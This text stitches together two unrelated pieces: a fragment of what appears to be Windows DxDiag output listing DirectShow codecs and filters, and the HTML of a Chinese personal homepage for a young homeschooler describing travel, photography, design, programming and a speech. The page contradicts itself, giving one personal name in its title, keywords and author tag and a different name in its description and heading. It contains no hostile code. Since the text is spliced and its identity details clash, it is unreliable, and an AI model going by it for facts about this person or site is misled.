Encoder,0x00200000,0,0,qdv.dll,6.06.7601.17514 ffdshow video encoder,0x00100000,1,1,ffdshow.ax,1.03.4534.0000 MJPEG Compressor,0x00200000,0,0,quartz.dll,6.06.7601.18741 Cinepak Codec by Radius,0x00200000,1,1,qcap.dll,6.06.7601.17514 Intel IYUV codec,0x00200000,1,1,qcap.dll,6.06.7601.17514 Intel IYUV codec,0x00200000,1,1,qcap.dll,6.06.7601.17514 Bandi MJPEG Video Decoder,0x00200000,1,1,qcap.dll,6.06.7601.17514 Bandi MPEG-1 Video Decoder,0x00200000,1,1,qcap.dll,6.06.7601.17514 Microsoft RLE,0x00200000,1,1,qcap.dll,6.06.7601.17514 Microsoft Video 1,0x00200000,1,1,qcap.dll,6.06.7601.17514 Audio Compressors: WM Speech Encoder DMO,0x00600800,1,1,WMSPDMOE.DLL,6.01.7600.16385 WMAudio Encoder DMO,0x00600800,1,1,WMADMOE.DLL,6.01.7600.16385 IMA ADPCM,0x00200000,1,1,quartz.dll,6.06.7601.18741 PCM,0x00200000,1,1,quartz.dll,6.06.7601.18741 Microsoft ADPCM,0x00200000,1,1,quartz.dll,6.06.7601.18741 GSM 6.10,0x00200000,1,1,quartz.dll,6.06.7601.18741 CCITT A-Law,0x00200000,1,1,quartz.dll,6.06.7601.18741 CCITT u-Law,0x00200000,1,1,quartz.dll,6.06.7601.18741 MP2,0x00200000,1,1,quartz.dll,6.06.7601.18741 MPEG Layer-3,0x00200000,1,1,quartz.dll,6.06.7601.18741 Audio Capture Sources: Microphone (Realtek High Defini,0x00200000,0,0,qcap.dll,6.06.7601.17514 PBDA CP Filters: PBDA DTFilter,0x00600000,1,1,CPFilters.dll,6.06.7601.17528 PBDA ETFilter,0x00200000,0,0,CPFilters.dll,6.06.7601.17528 PBDA PTFilter,0x00200000,0,0,CPFilters.dll,6.06.7601.17528 Midi Renderers: Default MidiOut Device,0x00800000,1,0,quartz.dll,6.06.7601.18741 Microsoft GS Wavetable Synth,0x00200000,1,0,quartz.dll,6.06.7601.18741 WDM Streaming Capture Devices: ,0x00000000,0,0,, ,0x00000000,0,0,, ,0x00000000,0,0,, Acer CrystalEye webcam,0x00200000,1,2,ksproxy.ax,6.01.7601.17514 WDM Streaming Rendering Devices: Realtek HD Audio output,0x00200000,1,1,ksproxy.ax,6.01.7601.17514 Realtek HDA HDMI Out,0x00200000,1,1,ksproxy.ax,6.01.7601.17514 Realtek HDA SPDIF Out,0x00200000,1,1,ksproxy.ax,6.01.7601.17514 BDA Network Providers: Microsoft ATSC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.7601.17514 Microsoft DVBC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.7601.17514 Microsoft DVBS Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.7601.17514 Microsoft DVBT Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.7601.17514 Microsoft Network Provider,0x00200000,0,1,MSNP.ax,6.06.7601.17514 Video Capture Sources: Acer CrystalEye webcam,0x00200000,1,2,ksproxy.ax,6.01.7601.17514 Multi-Instance Capable VBI Codecs: VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.7601.17514 BDA Transport Information Renderers: BDA MPEG2 Transport Information Filter,0x00600000,2,0,psisrndr.ax,6.06.7601.17669 MPEG-2 Sections and Tables,0x00600000,1,0,Mpeg2Data.ax,6.06.7601.17514 BDA CP/CA Filters: Decrypt/Tag,0x00600000,1,1,EncDec.dll,6.06.7601.17708 Encrypt/Tag,0x00200000,0,0,EncDec.dll,6.06.7601.17708 PTFilter,0x00200000,0,0,EncDec.dll,6.06.7601.17708 XDS Codec,0x00200000,0,0,EncDec.dll,6.06.7601.17708 WDM Streaming Communication Transforms: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.01.7601.17514 Audio Renderers: Speakers (Realtek High Definiti,0x00200000,1,0,quartz.dll,6.06.7601.18741 Default DirectSound Device,0x00800000,1,0,quartz.dll,6.06.7601.18741 Default WaveOut Device,0x00200000,1,0,quartz.dll,6.06.7601.18741 DirectSound: Realtek Digital Output (Realtek High Definition Audio),0x00200000,1,0,quartz.dll,6.06.7601.18741 DirectSound: Realtek HDMI Output (Realtek High Definition Audio),0x00200000,1,0,quartz.dll,6.06.7601.18741 DirectSound: Speakers (Realtek High Definition Audio),0x00200000,1,0,quartz.dll,6.06.7601.18741 Realtek Digital Output (Realtek,0x00200000,1,0,quartz.dll,6.06.7601.18741 Realtek HDMI Output (Realtek Hi,0x00200000,1,0,quartz.dll,6.06.7601.18741 --------------- EVR Power Information --------------- Current Setting: {5C67A112-A4C9-483F-B4A7-1D473BECAFDC} (Quality) Quality Flags: 2576 Enabled: Force throttling Allow half deinterlace Allow scaling Decode Power Usage: 100 Balanced Flags: 1424 Enabled: Force throttling Allow batching Force half deinterlace Force scaling Decode Power Usage: 50 PowerFlags: 1424 Enabled: Force throttling Allow batching Force half deinterlace Force scaling Decode Power Usage: 0
txy9704 / Txy<!DOCTYPE html><html lang="zh-cmn-Hans" class="no-js"><head><title>翁天信 • Dandy Weng</title><meta charset="utf-8" /> <meta name="description" content="佟昕媛(Dandy Weng)的个人网站主页。我是一个21岁的homeschooler,这个世界就是我的学校,我有自由的身心,一直在前行。" /><meta name="keywords" content="翁天信, Dandy Weng" /><meta name="author" content="Dandy Weng" /><meta name="format-detection" content="telephone=no" /><meta property="og:title" content="翁天信 • Dandy Weng" /><meta property="og:type" content="website" /><meta property="og:url" content="https://www.dandyweng.com/" /><meta property="og:image" content="http://v6.res.dandyweng.com/images/portrait.jpg" /><meta property="og:description" content="我是一个 21 岁的 homeschooler,这个世界就是我的学校,我有自由的身心,一直在前行。" /><meta property="og:locale" content="zh-CN" /><meta property="og:locale:alternate" content="en-US" /><meta property="og:site_name" content="佟昕媛的个人主页" /><meta name="weibo:webpage:create_at" content="2015-10-05 06:00:00" /><meta name="weibo:webpage:update_at" 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> body,html.ios > input,html.ios > textarea,html.ios > h1,html.ios > h2,html.ios > h3,html.ios > h4 { font-family: sans-serif;}body, input, textarea { line-height: 1.5; font-size: 20px;}html.ios > body,html.ios > input,html.ios > textarea { line-height: 1.65;}h3 { font-weight: bold;}.content h2 { margin-bottom: 0.25em;}.content > .container p { letter-spacing: -0.5px;}body > header .title p.subline { font-size: 1.5em; margin-top: 0.125em;}section#travel #maps h3 { letter-spacing: -1px; font-size: 1.2em;}section#photography a i { vertical-align: text-top;}section#more .description p { line-height: 1.45;}section#contact .sns-icons { font-size: 2.5em;}footer a.icp { font-size: 0.75em; color: #bbb;}@media (max-width: 727px) { body, input, textarea { font-size: 18px; }}@media (max-width: 535px) { body, input, textarea { font-size: 14px; line-height: 1.35; }}</style></head><body id="body" class="init header-fadeout"> <!-- Header --> <header class="header"> <nav class="top clearfix"> <a href="javascript:;" data-action="switch-fullscreen-mode"><span><i class="icon-expand"></i> 全屏浏览</span></a> <span class="right"><a href="javascript:;" data-action="switch-language"><span><i class="icon-earth"></i> View in English</span></a></span> </nav> <div class="header-background"> <img id="back-sticker" src="http://v6.res.dandyweng.com/images/my-back.png" alt="我的背影" /> </div> <div class="title"> <h1>我是佟昕媛</h1> <p class="subline">欢迎走进我的世界</p> </div> <button class="trigger" data-info="点此开始"><span>Trigger</span></button> </header> <!-- Intro --> <section id="intro" class="content"> <div class="container"> <h2>我是</h2> <p>勇敢前行,无所畏惧</p> <p>现在我 21 岁,在自学的这些年里,我自己学,做自己。追寻自己的所想所爱,并试着将各种兴趣爱好串连在一起。</p> </div> </section> <!-- Travel --> <section id="travel" class="content"> <div class="container"> <h2>行万里路</h2> <p>旅行,是我的主要学习方式之一,我每年有四分之一的时间都在路上。天地之间,有一本无字书,走着、看着,也思考着,永远也学不完。</p> <p>对我来说,走遍世界不仅仅是个梦想。</p> </div> <div id="maps"> <h3>我在中国的旅行足迹</h3> </div> </section> <!-- Photography --> <section id="photography" class="content"> <div class="container"> <h2>光的艺术</h2> <p>我爱摄影,尤其是壮美的自然风光。因为旅行,我爱上了摄影;也因为摄影,我更热爱旅行。</p> <a href="javascript:;" data-action="reload-montage"><i class="icon-shuffle"></i> <span>换一换</span></a> </div> <div id="montage" class="row uniform 25%"></div> </section> <!-- Design --> <section id="design" class="content"> <div class="container"> <h2>我爱设计</h2> <p>我设计各种各样的东西,从平面设计到室内,再到用户界面和网页设计。</p> <p>我很喜欢把我的创造性发挥到极限,更享受从无到有、渐渐完美的设计过程。我爱设计,也相信它会让生活更美好。</p> <div class="row uniform"> <figure class="6u"> <img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/blog-mockup.jpg" alt="我的博客主页" /> </figure> <figure class="6u"> <img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/album-mockup-sideview.jpg" alt="我的影集" /> </figure> </div> </div> </section> <!-- Programming --> <section id="programming" class="content"> <div class="container"> <h2>逻辑思维</h2> <p>我喜欢挑战自己,而编程恰好充满挑战性。更重要的是,我的逻辑思维因此得到提高。在过去六年里,我先后学了 Visual Basic、HTML、CSS、JavaScript、PHP 和 SQL 等多种计算机语言,我还在不断学习新的编程语言,比如 Swift 和 Objective-C。</p> <p>你现在正在浏览的网站是我的个人主页,我每年都会把它彻底地重新设计和开发一次,以展示我在过去一年中学习到的相关新知识。</p> <div class="row uniform 75%"> <header class="12u"> <h3>这个网站的早期版本</h3> </header> <div class="7u column left"> <div class="row uniform 75%"> <a href="http://www.dandyweng.com/versions/2014/" data-version="2014" target="_blank" class="12u" rel="alternate"><img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/thumb-2014.jpg" alt="2014" /></a> </div> <div class="row uniform 75%"> <a href="http://www.dandyweng.com/versions/2013/" data-version="2013" target="_blank" class="12u" rel="alternate"><img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/thumb-2013.jpg" alt="2013" /></a> </div> </div> <div class="5u column right"> <div class="row uniform 75%"> <a href="http://www.dandyweng.com/versions/2012/" data-version="2012" target="_blank" class="12u" rel="alternate"><img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/thumb-2012.jpg" alt="2012" /></a> </div> <div class="row uniform 75%"> <a href="http://www.dandyweng.com/versions/2011/" data-version="2011" target="_blank" class="12u" rel="alternate"><img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/thumb-2011.jpg" alt="2011" /></a> </div> <div class="row uniform 75%"> <a href="http://www.dandyweng.com/versions/2010/" data-version="2010" target="_blank" class="12u" rel="alternate"><img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/thumb-2010.jpg" alt="2010" /></a> </div> </div> </div> </div> </section> <!-- Apple --> <section id="apple" class="content"> <div class="container"> <h2>一个 <i class="icon-apple"></i> 粉丝</h2> <p>我是一个铁杆“果粉”,我喜爱的不仅仅是 Apple 的产品,更推崇其标志性的极简主义设计风格。我曾排队 14 小时购得中国第一台 iPad 2,之后又为了 iPhone 4s 排队 20 小时。目前我正在学习开发 iOS app,下面这个是我的最新作品。</p> <a href="https://blog.dandyweng.com/2017/02/nine-months-of-work/?from=dw" target="_blank" rel="external"> <img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="https://dn-ssl-dw-blog.qbox.me/files/2017/02/vary-home-screen-in-hand-held-iphone-7.jpg" alt="Vary iOS App" /> <span>了解这个 app 的详情信息 »</span> </a> </div> </section> <!-- More --> <section id="more" class="content"> <div class="container"> <h2>我的故事</h2> <p>从我 18 岁起,就有幸受邀到国内一些知名高校演讲,与同龄人分享我的故事、思考和体会。下面的视频是我在同济大学的演讲,这是我第一次登上讲台,很紧张,还有些青涩。不过,还算勉强把想表达的都说出来了,如果你想更深入地了解我,那不妨一看。</p> <div class="row uniform"> <div id="video" class="7u 12u(tablet)"> <a href="javascript:;" data-action="play-video" data-youku-id="XNjUyOTM0ODI0" data-youtube-id="F4BWNANyNhs"> <img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/tju-speech.jpg" alt="我在同济大学的演讲" /> <i class="icon-play"></i> </a> </div> <div class="5u 12u(tablet) description"> <h3>为何不走寻常路</h3> <p>世界已经为我们准备了一切。大路和小路,都在我们脚下。我一直在探寻,没有犹豫,说走就走。作为一名 homeschooler,走过的、还要走的,注定都是不寻常的路。我要问问这个世界:不走寻常路,风景是否这边独好?</p> <span>2013 年 12 月,上海</span> </div> <div id="player" class="12u"></div> </div> <p class="extra-links"><a href="http://v.youku.com/v_show/id_XNjUyOTM0ODI0.html" target="_blank" rel="external nofollow">去优酷观看</a> <span>|</span> <a href="https://www.youtube.com/watch?v=F4BWNANyNhs" target="_blank" rel="external nofollow">在 YouTube 上观看</a></p> </div> </section> <!-- Say Hello --> <section id="say-hello" class="content"> <div class="container"> <h2>打个招呼吧</h2> <p>我很期待与同龄人的交流。你的留言会被发布在我博客的<a href="https://blog.dandyweng.com/messages/" target="_blank" rel="external">留言板</a>上,我会在有空时尽快回复你。</p> <form id="comment" action="#"> <div class="row uniform"> <div class="6u 12u(tablet)"><input type="text" name="author" placeholder="称呼"></div> <div class="12u"><textarea name="comment" rows="5" placeholder="留言"></textarea></div> <div class="6u 12u(tablet)"><input type="text" name="email" placeholder="邮箱"></div> <div class="6u 12u(tablet)"><input type="text" name="url" placeholder="个人主页或微博地址"></div> <div class="12u"> <button id="submit" name="submit" type="submit"><i class="icon-send"></i></button> </div> </div> <input type="hidden" name="comment_post_ID" value="1008" id="comment_post_ID"> <input type="hidden" name="agent" value="Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 BIDUBrowser/6.x Safari/537.31 dwAPI/6.0" id="comment_agent"> <input type="hidden" name="ip" value="61.161.168.28" id="comment_ip"> </form> </div> </section> <!-- Contact --> <section id="contact" class="content"> <div class="container"> <p>如果你想给我发送演讲或采访邀请,或者只是不想让你的留言被公开显示,可以发送邮件到</p> <a href="mailto:dandyweng@dandyweng.com">dandyweng@dandyweng.com</a> <!--p>请注意,我不会接受任何形式的工作邀请,包括摄影、设计和开发等,也不会出席任何商业性活动,与费用多少无关,望理解。</p--> <p>追逐自由</p> <h3>你可以在这些社交网络上关注我</h3> <a href="javascript:;">@dandyweng</a> <div class="sns-icons row uniform 0%"> <div class="2u"> <a href="https://www.facebook.com/dandyweng" target="_blank" rel="external nofollow"><i class="icon-facebook"></i></a> </div> <div class="2u"> <a href="https://twitter.com/dandyweng" target="_blank" rel="external nofollow"><i class="icon-twitter"></i></a> </div> <div class="2u"> <a href="https://instagram.com/dandyweng" target="_blank" rel="external nofollow"><i class="icon-instagram"></i></a> </div> <div class="2u"> <a href="http://weibo.com/dandyweng" target="_blank" rel="external nofollow"><i class="icon-weibo"></i></a> </div> <div class="2u"> <a href="javascript:;" target="_blank" rel="external nofollow"><i class="icon-wechat"></i></a> </div> <div class="2u"> <a href="https://github.com/dandyweng" target="_blank" rel="external nofollow"><i class="icon-github"></i></a> </div> </div> <p>你也可以收藏<a href="https://blog.dandyweng.com/" target="_blank" rel="external">我的博客</a>关注我的新动态,在 <a href="https://www.camarts.cn/" target="_blank" rel="external">Camarts</a> 上浏览我的摄影作品。点击<a href="https://blog.dandyweng.com/2015/10/the-sixth-version-of-my-website/" target="_blank">这里</a>了解这个网站背后的设计和开发故事。</p> </div> </section> <!-- Footer --> <footer> <div class="container"> <img src="http://v6.res.dandyweng.com/images/placeholder.png" data-original="http://v6.res.dandyweng.com/images/qr.png" width="100" alt="本页二维码" title="用微信扫描可分享给好友或朋友圈" /> <div id="back-to-top" data-action="scroll-to-top"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 64 64"> <path fill="#cf4a5c" d="M42.057,37.732c0,0,4.139-25.58-9.78-36.207c-0.307-0.233-0.573-0.322-0.802-0.329 c-0.227,0.002-0.493,0.083-0.796,0.311c-13.676,10.31-8.95,35.992-8.95,35.992c-10.18,8-7.703,9.151-1.894,23.262 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